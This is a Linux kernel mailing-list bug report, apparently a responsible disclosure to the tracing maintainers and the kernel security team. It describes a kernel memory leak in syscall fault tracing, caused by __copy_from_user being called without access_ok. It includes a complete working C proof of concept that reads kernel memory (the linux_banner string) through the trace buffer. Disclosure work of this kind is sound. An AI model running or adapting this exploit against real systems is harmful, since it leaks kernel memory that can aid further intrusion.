From: Haoran Wang <haoranwangsec@gmail.com>
To: rostedt@goodmis.org, mhiramat@kernel.org
Cc: linux-kernel@vger.kernel.org, linux-trace-kernel@vger.kernel.org,
mathieu.desnoyers@efficios.com, security@kernel.org,
haoranwangsec@gmail.com
Subject: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
Date: Thu, 15 Oct 2026 15:01:08 +0800 [thread overview]
Message-ID: <6ad07a3c.6e2bf4e6.f29cc.dd67@mx.google.com> (raw)
I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.
1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.
2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user
```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size); /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
```
3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.
This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.
5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.
6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.
Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
(Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
address), but the kernel-memory copy into the trace buffer has already
completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
the source).
```c
/*
*
* Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
* Run: sudo ./poc_syscall_fault_leak
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>
#define TRACEFS "/sys/kernel/tracing"
#define EVT TRACEFS "/events/syscalls/sys_enter_write"
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], name[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
static char *read_file(const char *path, char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
size_t total = 0;
ssize_t n;
while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
total += n;
buf[total] = 0;
close(fd);
return buf;
}
int main(void)
{
if (getuid() != 0) {
fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
return 1;
}
printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
printf("[+] (kernel string: \"Linux version 7.x (root@...) ...\")\n");
printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
if (access(EVT "/enable", W_OK) != 0) {
fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
fprintf(stderr, " -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
return 1;
}
write_file(TRACEFS "/trace", "\n");
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
pid_t child = fork();
if (child < 0) {
perror("fork");
return 1;
}
if (child == 0) {
close(pipefd[1]);
char c;
read(pipefd[0], &c, 1); /* wait until parent finished enabling */
close(pipefd[0]);
/*
* THE TRIGGER: write(fd, KERNEL_ADDR, 200).
* The buf argument is a kernel address. The sys_enter tracepoint
* fires before vfs_write's access_ok, and __copy_from_user copies
* directly from that kernel address -> kernel memory enters the trace.
* write() then returns EFAULT, but the leak is already complete.
*/
syscall(__NR_write, devnull, (void *)kaddr, 200);
_exit(0);
}
close(pipefd[0]);
char filter[64];
snprintf(filter, sizeof(filter), "common_pid == %d", child);
if (write_file(EVT "/filter", filter) < 0)
fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));
if (write_file(EVT "/enable", "1") < 0)
fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));
write(pipefd[1], "x", 1);
close(pipefd[1]);
waitpid(child, NULL, 0);
write_file(EVT "/enable", "0");
write_file(EVT "/filter", "0");
char buf[65536];
if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
fprintf(stderr, "[-] cannot read trace\n");
return 1;
}
char *line = strstr(buf, "write(fd:");
if (!line) {
printf("[-] no sys_enter_write event captured.\n");
printf("--- trace dump ---\n%s\n", buf);
return 1;
}
char *eol = strchr(line, '\n');
if (eol)
*eol = 0;
printf("[+] captured sys_enter_write event:\n %s\n\n", line);
if (strstr(line, "Linux version")) {
printf("[!] ============================================================\n");
printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
printf("[!] trace event contains the kernel banner string,\n");
printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
printf("[!] ============================================================\n");
return 0;
}
char *q1 = strchr(line, '"');
if (q1) {
char *q2 = strrchr(line, '"');
if (q2 > q1) {
printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
if (strstr(q1, "Linux") || strstr(q1, "version")) {
printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
return 0;
}
}
}
printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
return 2;
}
```
7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace.
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
next reply other threads:[~2026-10-15 7:01 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-15 7:01 Haoran Wang [this message]
2026-10-15 8:44 ` [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Greg KH
2026-10-15 12:05 ` Wang Haoran
2026-10-15 13:42 ` Steven Rostedt
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=6ad07a3c.6e2bf4e6.f29cc.dd67@mx.google.com \
--to=haoranwangsec@gmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-trace-kernel@vger.kernel.org \
--cc=mathieu.desnoyers@efficios.com \
--cc=mhiramat@kernel.org \
--cc=rostedt@goodmis.org \
--cc=security@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.